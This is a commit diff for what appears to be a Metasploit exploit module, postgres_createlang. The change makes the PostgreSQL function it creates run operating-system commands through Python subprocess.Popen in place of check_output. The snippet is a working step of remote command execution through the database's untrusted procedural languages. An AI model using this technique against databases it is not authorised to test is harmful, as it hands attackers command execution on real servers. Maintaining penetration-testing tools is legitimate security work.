Update postgres_createlang to use non-blocking Python function that d…

…oesn't return data

modules/exploits/multi/postgres/postgres_createlang.rb

@@ -146,7 +146,7 @@ def create_function?(language, func_name)
       load_func = postgres_query(query)
     when /^python(?:2|3)?/i
       query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"
-      query << "import subprocess, shlex\rsubprocess.check_output(shlex.split(c))\r"
+      query << "import subprocess, shlex\rsubprocess.Popen(shlex.split(c))\r"
       query << "$$ LANGUAGE pl#{language}u"
       load_func = postgres_query(query)
     end